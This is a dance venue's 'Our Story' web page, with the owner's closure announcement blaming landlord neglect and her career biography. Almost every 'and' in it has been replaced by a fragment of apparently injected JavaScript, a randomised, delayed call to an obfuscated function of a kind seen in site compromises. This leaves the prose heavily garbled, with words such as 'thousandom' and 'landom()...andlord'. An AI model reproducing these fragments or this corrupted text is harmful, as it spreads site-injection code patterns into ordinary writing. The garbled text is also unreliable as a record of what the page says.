Our Story


Over the last 6 years we have encountered lots of challenges… Unfortunately, they have now caught up with us. Southern Star will be closing its doors at the beginning of March 2020.

This part of our story is…. we did not start with a enough capital to weather the storms. Matt andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and many others) put our heart, sweat, tears andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and yes, even blood into this place. It just simply wasn’t enough.

The main storm we were just not able to weather in the end was our lease agreement. The lease we signed was originally with a “flipper” landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord out of Atlanta, we later found out. They were only interested in getting businesses in to turn the property over andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sell to the highest bidder. Well, they did that… andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in the process, started a chain of events that we were ultimately never able to recover from. Not only did they ignore certain upgrades andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintenance outlined in the lease agreement, they were incredibly negligent when it came to repairs. One business above us was weekly, dumping water into our space from their washing machine. We could not get the landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord to fix the problem. So as a result, we had regular water falls in our foyer. On 1 occasion, we were in the middle of an open house where our clients were inviting their friends to see the space for the first time. Additionally, in our first 6 months open, we had a major ice/snow storm that ripped part of the siding from the building andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and downed a major electrical conduit across our fire escape. It took them 6 months to fix the fire escape andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ultimately did so because I called the fire chief andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and inspectors out to get on top of the landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord to take care of it at the risk of our business being shut down for non-compliance.

As you may already know, our business plan called for a large part of our income to be in weddings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and events. We sunk thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands of dollars into advertising for this part of our business that ultimately was a waste, since every time someone drove down the hill to find us, they would inevitably turn around because the siding was flapping in the wind. We ended up having to pay a lawyer to force the landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord to take care of that issue andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and our agreed upon upgrades andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintenance from our lease, they never completed. This was the experience of our 1st year, hemorrhaging money. Once these items were fixed, things started to go well for about 6 months… until the year of poo.

The landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord leased another space above us to a business that ultimately tied their plumbing into ours. In case you were wondering, that is against city code, but the landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord allowed it anyway andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and somehow got it to pass inspection. The landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord did not require them to fix it andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and did nothing to fix it themselves. As a result, we had regular sewage back ups in our space. They started out to be monthly occurrences, that ultimately became weekly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then about every 3-4 days. Every 3-4 days we were mopping raw sewage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and calling plumbers to snake or jet the drain pipes. The debt continued to swell. During this time the landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord was on the verge of selling the property. Ultimately they did sell the property, without fixing the plumbing problems. This ordeal lasted almost a year… which is why we refer to it as the year of poo. By this point, we are not quite 3 years in to our business. We stopped advertising completely, for fear of a bride walking into the space while there was a sewage back up.

Our new landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlord did take pity on us. They came in andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fixed the issues, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and allowed me to renegotiate our lease as a result of the business lost over the prior 3 years. Unfortunately, the damage was done at that point. We were never able to recover. The last 3 years have been a mad fight to survive. We incorporated alcohol, became a private club, hired more teachers, increased our prices… we did everything we knew how to do. It just wasn’t enough.

No one is more sorry that we are. It is super painful, especially for me… to see all the time, money andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hard work we put into Southern Star andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then just close its doors. But, we also can no longer ignore that we are out… out of money, out of fight, out of time. The most unfortunate part is that we have increased income every year, but it just isn’t enough to cover the debt incurred in the beginning plus the enormous amount of money it takes to operate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintain an 8800 sq. ft space.

We are in mourning, as many of you are or will be. Many of you know my story of beginning Southern Star andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how I feel it was following a call from God to open this place. I still believe that… I have met so many amazing people through this experience. Many doors have opened, relationships started, people introduced to dancing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the joy that brings as a result of Southern Star. I have absolutely no regrets, but I can no longer ignore that God is now leading me in a different direction…. I believe He has a plan.

I will continue teaching dance… This is why I was put on this planet, (I have no doubt) AND … why I opened Southern Star in the first place, was to give myself andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and others a beautiful place to dance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and learn. Sadly, I have gotten away form teaching in this process, because of all the other things that were necessary to keep the business running. I am looking forward to getting back to my super power, teaching dance. I hope to see you on the floor again soon!

I do have a space less than a mile away from Southern Star to teach andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and occasionally hold dances. As those details become more solid, I will share. Those with current memberships will be able to attend my dances for the remainder of 2020 for free. Please stay tuned to your email announcements for those details! Thank you for your patronage, for your love andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and support. I am still blessed beyond measure, thanks be to God andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and perhaps a little spoiled, thanks be to Matt. (Okay… fine…. a lot spoiled!) 🙂

Dancingly Yours,

Shari Huggett-Milton

Our Story; The beginning…

Southern Star was the brainchild of Shari Huggett-Milton. For years, Shari had been suppressing ideas of opening a “community center” of sorts for the dance community. Dance being her first real love, Shari has been teaching Ballroom, Latin, Country andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Swing styles for around 27 years. That career has blessed her beyond measure with so many wonderful friends, several successful businesses, skills, fur babies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and let’s not forget the most recent love of her life, her husbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Matt Milton. While Shari, over many year’s, envisioned the idea of Southern Star, she knew it would be a lot of work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and determined, she didn’t want to work that hard. So, she continued to suppress the idea, but God had a different plan.

Having come to her faith later in life than most, Shari began to see that God had placed a calling on her life andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that calling became Southern Star. Once she decided to embrace her calling, it was a simple thing to do… still a lot of work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and challenging, but simple just the same. It took us 2 years to find the money andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then the location. After that, it was 6 months to build out andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and now we’ve been open for 6+ years… growing every year as we continue to follow God’s path for us.

Southern Star is a unique andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and welcoming place to all. Our culture andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and philosophy is simple… treat others as we would like to be treated, with honesty andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and integrity. To offer elegant andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sophisticated space andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services at an affordable rate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to encourage others to be the best version of themselves in whatever they do while enjoying the journey.

Shari’s Bio

Shari began studying tap, jazz, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ballet at the age of five, performing in many shows throughout her youth. Her teaching andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and competing in Ballroom & Latin Dancesport  started in September of 1992 at Fred Astaire Dance Studios in Durham, NC.

Shari stayed at the Durham FADS for roughly 2 years learning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and honing her teaching, dancing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sales skills. In 1994, she transferred to Winston Salem, where she excelled in both dance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sales, winning a Freddy Award in 1995 for top female teacher in sales for the Southeastern Region of FADS.

In 1996, Shari moved to the New York City area to study andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and train with top coaches andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dancers in the field. Since then, she has won numerous awards regionally andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nationally in her professional career, including Regional andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Professional Rising Star Finalist andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Open Professional Semi-Finals in American Smooth andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and International Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard.

Some of Shari’s other accomplishments in the Manhattan area include appearances on the popular soap opera “All My Children” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and appearances with Julio Iglesias on the “Today Show” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and CNN to promote his “Tango” album.

In April 1998, Shari returned home, to North Carolina, to pursue the dream of opening her own studio: Carolina Dancesport, Inc. While owning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and operating her successful dance studio, she was the primary female teacher, as well as trainer of her staff in both sales andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and teaching abilities. In her studio, Shari created an environment for students andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and staff that was welcoming andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and enjoyable. During that time, she created many successful specialty andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and holiday parties, coordinated huge productions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recitals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and showcased her ability to bring the dance community together for many special events.

Shari also continued to excel in worldwide dance competition. Having competed exclusively in American 9 Dance (Rhythm andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Smooth) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and International Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard, she expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded her knowledge andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and competitive career in 2000 to include Country Western Couples. After winning countless Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Champion Titles in the UCWDC Couples Division I, she went on to capture the 2003 UCWDC World Championship Title in that division. Shari continued to compete at the UCWDC Masters Level (the highest level possible), winning several titles. She is a certified UCWDC Judge at the Masters level, judging the highest levels in both Line Dance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Couples Divisions.

In 2002 she embraced a new career with Mary Kay Cosmetics. Having spent many years in the dance business doing make-up on students andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and colleagues for shows & competitions, it seemed a natural progression of her creativity. Shari once again excelled in this type of sales environment earning countless top sales awards. In December 2005, she earned one of her most notable awards, the use of a Mary Kay career car.  Just 6 months later, she progressed to Independent Sales Director, a leadership position in the Mary Kay Company; all this along side of her dance career.

After seven years of successful dance studio ownership, Shari simplified her life. In January 2005, Shari passed her dance studio on to her staff, Robertas Maleckis & Inga Sirkaite. It became Dance Plus, LLC, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and now Elite Ballroom currently located in Morrisville andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Shari is pleased to know that the legacy of good dancing she started in the Triangle Area, is still going.

In 2007, Shari started teaching andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and competing in West Coast Swing after friend andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and colleague, Darlene Long-Cree moved to China, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and asked Shari to step in while she was gone. She had a great time dancing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and teaching at Loafers Beach Club for the next 5 years. Shari achieved All-Star Status in WSDC Jack & Jills, which she did in just one year.

Her latest passion andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and focus has gone to opening andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and operating Southern Star Ballroom Center, an 8500+ square foot dance & event venue, in North Raleigh in January 2014. This is now her primary location for teaching classes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and private lessons andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and enjoys collaborating with some of the Triangle Area’s most decorated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and talented professionals.

Most recently as a result of Southern Star, Shari has sensed a pull toward working with more andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more kids. This path has lead her to design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and teach the Etiquette andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Social Dance program at St. Thomas More Academy in Raleigh for the last several years. She is excited about potentially expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding this program online andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to the general local market. Stay tuned for LEAD… An etiquette program designed to teach young people worthy skils; Leadership, Etiquette, Attitude & Dance.

Our Story… Now. The End.